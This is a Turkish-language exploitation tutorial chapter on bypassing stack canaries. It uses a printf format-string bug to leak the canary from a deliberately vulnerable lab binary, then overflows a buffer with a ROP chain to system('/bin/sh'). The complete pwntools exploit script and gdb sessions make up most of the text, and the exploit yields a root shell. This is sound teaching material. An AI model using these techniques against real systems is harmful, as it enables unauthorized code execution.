Skip to content

Latest commit

 

History

History
402 lines (365 loc) · 16.1 KB

0x3.md

File metadata and controls

402 lines (365 loc) · 16.1 KB

Hedefimiz

Önceki bölüm ile aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak.

Kod analizi

Önceki bölümdeki kod biraz daha modifiye edilmiş, hadi biraz daha yakından inceleyelim:

char name[40], answer[16];

Bu sefer iki farklı buffer'ımız var, ilk olarak önceki bölümlerde olduğu gibi program ismimizi soruyor:

puts("Hello, what's your name?");
scanf("%s", name);

Burda yine scanf(), doğrudan sadece %s formatı ile kullanıldığından overflow mümkün. İsmimizi sorduktan sonra bu sefer ilginç birşey yapıyor, ismizi doğrulamamızı istiyor:

printf(name);
printf("? [yes/no]\n");

Bu sorunun cevabı yine bir scanf() çağrısı ile answer bufferına yazılıyor. Yine burda da overflow mümkün:

scanf("%s", answer);

Son olarak program cevabımızın evet olup olmadığını kontrol ediyor, eğer cevabımız evetse program önceki tanışma mesajını ekrana basıyor:

if(strcmp(answer, "yes")==0)
    printf("Nice to meet you %s!\n", name);

Yani çok da birşey değilmiş değil, ilk başta name bufferını taşırıp önceki bölümdeki exploitimizi yeni buffer için azcık modifiye edip kullanabiliriz. Değil mi?

Eğer önceki bölümden dersinizi alıp Makefile dosyasını okuduysanız cevabı çoktan biliyorsunuz: Değil!

Stack çerezleri

Önceki bölümden farklı olarak bu program derleme aşamasında -fno-stack-protector argümanını kullanmıyor. Bunun yerine -fstack-protector kullanılmış. Bu da demek ki "stack protector" bu program için aktif konumda. Bu bellek korumasını (önceki bölümdeki gibi) pwntools'un checksec aracı ile görüntüleyebilirsiniz:

root@o101:~/0x3# pwn checksec ./0x3.elf
[*] '/root/0x3/0x3.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Peki bu bellek koruması tam olarak ne işe yarıyor?

Stack smashing protector (SSP), stack cookie veya stack canary, caller tarafından stack frame'inin başına yerleştirilen rastgele bir (64 bit sistemlerde) 8 byte değerden ibaret. Yani bu değer rbp ve dönüş adresinden üstte (ya da stacki nasıl ele aldığınıza göre aşağıda). Bu demek oluyor ki dönüş adresine erişmek için bir önce bu adresin üzerine yazmalıyız.

Eeee ne var bunda, altı üstü payload'ımıza 8 byte daha ekliyeceğiz?

Tüm olay da bu zaten. Dönüş adresine erişmek için çerezin üzerine yazmak zorundayız.

Program bu çerezin değerini kaydediyor ve de dönüş yapmadan önce gdb'de görüntüleyebileceğiniz bir karşılaştırma yaparak çerez eğer kaydedilen değeri korumuyor ise __stack_chk_fail fonksiyonunu çağrırak programın çalışmasını *** stack smashing detected ***: terminated mesajı ile durduruyor:

0x0000000000401208 <+162>:   mov    rdx,QWORD PTR [rbp-0x8]
0x000000000040120c <+166>:   sub    rdx,QWORD PTR fs:0x28
0x0000000000401215 <+175>:   je     0x40121c <main+182>
0x0000000000401217 <+177>:   call   0x401040 <__stack_chk_fail@plt>
0x000000000040121c <+182>:   leave
0x000000000040121d <+183>:   ret

Bu mesajı asıl implementasyonda (gcc libssp/ssp.c) görüntüleyebiliriz:

static void
fail (const char *msg1, size_t msg1len, const char *msg3)
{
...
  /* Try very hard to exit.  Note that signals may be blocked preventing
     the first two options from working.  The use of volatile is here to
     prevent optimizers from "knowing" that __builtin_trap is called first,
     and that it doesn't return, and so "obviously" the rest of the code
     is dead.  */
  {
    volatile int state;
    for (state = 0; ; state++)
      switch (state)
        {
        case 0:
          __builtin_trap ();
          break;
        case 1:
          *(volatile int *)-1L = 0;
          break;
        case 2:
          _exit (127);
          break;
        }
  }
}

void
__stack_chk_fail (void)
{
  const char *msg = "*** stack smashing detected ***: ";
  fail (msg, strlen (msg), "stack smashing detected: terminated");
}

Yine asıl implementasyona bakacak olursak bu çerez değerinin tamamen rastgele seçildiğini görebiliriz:

static void __attribute__ ((constructor))
__guard_setup (void)
{
  unsigned char *p;

  if (__stack_chk_guard != 0)
    return;

#if defined (_WIN32) && !defined (__CYGWIN__)
...
#else
  int fd = open ("/dev/urandom", O_RDONLY);
  if (fd != -1)
    {
      ssize_t size = read (fd, &__stack_chk_guard,
                           sizeof (__stack_chk_guard));
      close (fd);
      if (size == sizeof(__stack_chk_guard) && __stack_chk_guard != 0)
        return;
    }

#endif
...
}

Bilmiyorsanız Linux (ve genel UNIX) sistemlerinde /dev/urandom bloklamayan yani esktra entropi için bekleme yapmayan rastgele veri okumaya yarıyor. Yani çerez tamami ile rastgele. Bu durumda SSP'yi atlatmamız nasıl mümkün?

Bunu yapmanın iki yolu var:

  1. Çerezi brute force etmek: Bir program çalışma sırasında sadece bir kere rastgele çerez oluşturuyor. Bu gerçeği çerezi parça parça kırabileceğimiz gerçeği ile birleştirince aslında çerezi kaba kuvvet ile tahmin ederek kırmanın çok kolay olduğunu farkediyorsunuz. Tek sorun çerezi bir kere hatalı deneyince programın çökmesi. Bu metodun çalışması için fork() gibi ekstra bir işlem oluşturan bir programa ihtiyacımız var: fork() edilen işlemin çerezi parent ile aynı, ve fork edilen işlemin çökmesi parent'ın çökmesine sebep olmaz.

Bu durumda elimizdeki kod fork() gibi bir fonksiyon kullanmıyor, o yüzden bu yöntemi kullanmamız mümkün değil.

  1. Çerezi leaklemek: Eğer stackden arbitary veri okuması gerçekleştirebilirsek, çerezin değerini leakleyebiliriz. Daha sonra çerezin değerini koruyarak aynı şekilde stack'e yazma yaparsak dönüş adresine __stack_chk_faili tetiklemeden ulaşabiliriz.

Peki 2. yöntemi bu durumda nasıl uygulayabiliriz? Stackden veri okumamıza izin vericek bir arbitrary read (keyfi okuma) zafiyeti bu programda var mı ki?

...
printf(name);
...

Ah! İşte burda :)

Formatlanmış karakter dizeleri ve printf

printfin nasıl çalıştığını sanırım hepimiz biliyoruz, bir formatlanmış metin veriyoruz, ve argümanlara göre printf bu metini formatlanmış şekilde ekrana basıyor.

Bu bilgi ile bana aşağıdaki kodun ne yapabileceğini söyleyebilir misiniz?

pritnf("%s");

Formatlanmış bir metin ama formatlanma için gerekli karakter dizesi argüman olarak verilmemiş. Bu durumda printf bir argüman var oldğunu varsayarak bellekden arbitrary okuma yapacaktır.

Bu koda bakıcak olursak name değişkenin printfe hangi argüman olarak verildiğine dikkat eddin:

printf(name);

name değişkeni formatlanmış metin olarak printfe geçiliyor. Doğru kullanımda olması gereken ise:

printf("%s", name);

Bu durumda biz name değişkenini kontrol ettiğimizden printfin formatlamasını da kontrol edebiliriz. Bunu az önce öğrendiğimiz bilgi ile birleştirirsek bellekden arbitrary okuma yapacaktır.

Yani programın ilk bölümünde name bufferına printf ile okuma yapmak için formatlanmış bir metin yazarak çerezi leakleyebilir, programın ikinci bölümünde ise answer bufferını taşırarak ve çerezi koruyarak dönüş adresinin üzerine yazarak programın akışını yöntebiliriz.

Hadi bunu pratiğe dökelim.

Exploit

Önce printf ile nasıl okuma yapabileceğimize bir bakalım:

root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%d
4216497? [yes/no]

Güzel, bellekden rastgele bir değer okuduk, ancak çerezi seçebilmek adına daha iyi bir formatlama kullanabiliriz:

root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%p
0x4056b1? [yes/no]

Şimdi biraz daha fazla okuma yapabiliriz, ancak buffer'ın uzunluğunun 40 olduğunu unutmayalım, çok fazla karakter girersek istenmeyen bir overflowa sebep olabiliriz.

root@o101:~/0x3# ./0x3.elf
Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250xaa5096d3722361000x10x7ffff7dfecd00x7fffffffebc00x4011660x1004000400x7fffffffebd80x7fffffffebd8? [yes/no]

Yazabildiğimiz en uzun girdi ile aldığımız çıktı bu. İyi de burda çerezi nasıl bulacağız? Veya çerezi leaklediğimizi nerden bilebiliriz?

Bunun için gdb'de biraz inceleme yapabiliriz. Program yeni satırı koyduktan sonra bir breakpoint yerleştirebiliriz:

root@o101:~/0x3# gdb ./0x3.elf
...
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
...
   0x0000000000401198 <+50>:    call   0x401070 <scanf@plt>
   0x000000000040119d <+55>:    lea    rax,[rbp-0x30]
   0x00000000004011a1 <+59>:    mov    rdi,rax
   0x00000000004011a4 <+62>:    mov    eax,0x0
   0x00000000004011a9 <+67>:    call   0x401050 <printf@plt>
   0x00000000004011ae <+72>:    lea    rax,[rip+0xe68]        # 0x40201d
   0x00000000004011b5 <+79>:    mov    rdi,rax
   0x00000000004011b8 <+82>:    call   0x401030 <puts@plt>
   0x00000000004011bd <+87>:    lea    rax,[rbp-0x40]
...
(gdb) break *0x00000000004011bd
Breakpoint 1 at 0x4011b8

Şimdi programı çalıştırıp breakpoint'e ulaşınca stack'i incleyelim:

(gdb) run
Starting program: /root/0x3/0x3
...
Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x66873b1eca714a000x10x7ffff7dfecd00x7fffffffeb800x4011660x1004000400x7fffffffeb980x7fffffffeb98? [yes/no]

Breakpoint 4, 0x00000000004011bd in main ()
(gdb) x/24xg $rsp
0x7fffffffea40: 0x0000000000000000      0x0000000000000000
0x7fffffffea50: 0x7025702570257025      0x7025702570257025
0x7fffffffea60: 0x7025702570257025      0x7025702570257025
0x7fffffffea70: 0x7025702570257025      0x66873b1eca714a00
0x7fffffffea80: 0x0000000000000001      0x00007ffff7dfecd0
0x7fffffffea90: 0x00007fffffffeb80      0x0000000000401166
0x7fffffffeaa0: 0x0000000100400040      0x00007fffffffeb98
0x7fffffffeab0: 0x00007fffffffeb98      0x8783420280ac1eda
0x7fffffffeac0: 0x0000000000000000      0x00007fffffffeba8
0x7fffffffead0: 0x00007ffff7ffd000      0x0000000000403df0
0x7fffffffeae0: 0x787cbdfd558e1eda      0x787cadbd59a61eda
0x7fffffffeaf0: 0x0000000000000000      0x0000000000000000

Stacke bakarsak ilk farkettiğimiz şey answer buffer'ının sonradan tanımlanmış olmasına rağmen başta olması. Bu GCC'in yaptığı optimizasyonlardan biri. Sonrasında name buffer'ını görüyoruz. 0x7025 hex formunda %p karakterine denk geliyor. Bundan sonra gelen rastgele bellek adresi işte bizim çerezimiz. Arkasından rbp ve dönüş değerimiz.

Çerezi aslında kolayca tanımanın bir yolu var. Başındaki 0x00 yani null termination karakterini görüyor musunuz? Her çerez bu karakter ile başlıyor. Bunun amacı null termination'ın unutulduğu durumlarda strcpy gibi fonksiyonlar istemeden çerezi leaklemesini engellemek.

Eğer leaklediğimiz veriye bakarsak, bu verinin çoğunun formatlanan metnin kendisinden ibaret olduğunu göreceğiz, ama dikkatli bakarsanız bu veri içinde çerezi görebilirsiniz:

Hello, what's your name?
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
0x4056b1(nil)0x7ffff7fb18e00x4056d9(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7025702570257025 !!0x66873b1eca714a00 !! 0x10x7ffff7dfecd00x7fffffffeb800x4011660x1004000400x7fffffffeb980x7fffffffeb98? [yes/no]

Şimdi hangi noktada çerezi leaklediğimize bakalım. Bunu sadece deneme yanılma yaparak bulabilirsiniz:

Hello, what's your name?
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
0xa,(nil),(nil),0x40201e,0x7ffff7fb0a80,(nil),(nil),0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x2c70252c70252c,0x4e8e3cca3a9af100? [yes/no]

Bu durumda, 13. %p formatı ile çerezi leakliyoruz. Artık çerezi leakleyebildiğimize göre exploitin diğer kısmına geçmeden önce tartışmamız gereken birşey var.

Önceki bölümlerde kullandığımız /tmp/ex dosyasına exploiti yazan scriptimizin çalışmayacağını sanırım farkettiniz. Çerez programın çalışması sırasında leaklendiğinden bize dinamik olarak exploit için doğru payload'ı oluşturabilecek bir script lazım.

Bunun için programın IO'sunu (stdin, stdout, stderr) kontrol ederek önce çerezi leakleyen sonrada çerezi stdout'dan okuyup, payloadı oluşturup sonrada programa sağlıyacak bir script yazabiliriz, ama bu oldukça karmaşık ve de gereksiz olacaktır. Çünkü zaten bunu bizim için yapabilecek birşey var, pwntools!

Basit bir şekilde pwntools

pwntools scriptimizde, kolay bir şekilde zafiyetli binary'nin IO'sunu kontrol etmemizi ve payload oluşturmamızı sağlıyor.

pwntools'u kullanmak için ilk yapmamız gerek import etmek:

from pwn import *

Sonrasında context yapısını düzenleyerek hedef binary, işletim sistemi ve mimarimizi belirtebiliriz:

context.update(arch="amd64", os="linux")
context.binary = ELF("./0x3.elf")

Şimdi de binary'i bir işlem olarak başlatıp belirli bir noktaya kadar IO'dan okuma yapabiliriz, verimizi girmeden önce Hello, what's your name? çıktısına kadar ulaşmak istiyoruz. Bu durumda tek yapmamız gerek bu çıktının sonunda yer alan yeni satır karakterine kadar okuma yapmak:

p = process("./0x3.elf")

p.recvuntil(b"\n")

Sonrasında çerezi leaklemek için ilk girdimizi gönderelim ve de sıradaki satırı okuyalım. Bu satır evet/hayır sorsunu dolayısı ile de leakimizi içerecek. Her leaki boşluk karakteri ile ayırdığımızdan en sonda bulunan çereze ulaşmak için biraz string manipülasyonu yapabiliriz:

p.sendline(b"%p,"*13)

cookie = p.recvline().split(b",")[12]
info(f"Leaked cookie: {cookie.decode()}")

Bundan sonra answer bufferına yazma yapacağımızdan şimdi asıl payloadımızı oluşturma zamanı. Stack'i hatırlarsanız, answer buffer'ı name buffer'ından önce geliyor. O yüzden 16+40 hesabından 56 karakter yazarak önce answer bufferını sonrada name bufferını doldurmamız lazım:

payload  = b"A"*56              # answer + name

Şimdi sıra leaklediğimiz çerezi geri yazmada, bu çerez şuan byte formunda, int() fonksiyonu ile hex formuna çevirebiliriz:

payload += p64(int(cookie, 16))

Şimdi de rbp ile karşı karşıyayız, buray rastgele birşey ile doldurup devam edebiliriz:

payload += b"A"*8

Artık dönüş adresine geldik, önceki exploitimizi aynen kullanabiliriz, fakat struct modülü ile değerleri farklı endian formlarına çevirmek yerine pwntools'un fonksiyonlarını kullanabiliriz:

payload += p64(0x7ffff7e057e5)  # pop rdi; ret
payload += p64(0x7ffff7f74031)  # /bin/sh
payload += p64(0x7ffff7e04e99)  # ret
payload += p64(0x7ffff7e2a490)  # system()

Son olarak payload'ı stdin'den programa gönderebiliriz, ardından interactive moduna geçerek stdin'i pwntools'dan devralabiliriz. Bu şekilde shell'i kontrol ediceğiz:

p.sendline(payload)
p.interactive()

Tam exploit aşağıdaki gibi:

from pwn import *

context.update(arch="amd64", os="linux")
context.binary = ELF("./0x3.elf")
p = process("./0x3.elf")

p.recvuntil(b"\n")
p.sendline(b"%p,"*13)

cookie = p.recvline().split(b",")[12]
info(f"Leaked cookie: {cookie.decode()}")

payload  = b"A"*56              # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8               # rbp
payload += p64(0x7ffff7e057e5)  # pop rdi; ret
payload += p64(0x7ffff7f74031)  # /bin/sh
payload += p64(0x7ffff7e04e99)  # ret
payload += p64(0x7ffff7e2a490)  # system()

p.sendline(payload)
p.interactive()

Artık herşey hazır, exploitimizi test edebiliriz:

root@o101:~/0x3# python3 solve.py
[*] '/root/0x3/0x3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './0x3.elf': pid 2401
[*] Leaked cookie: 0x2b0be40b82f08300
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Önceki | Sonraki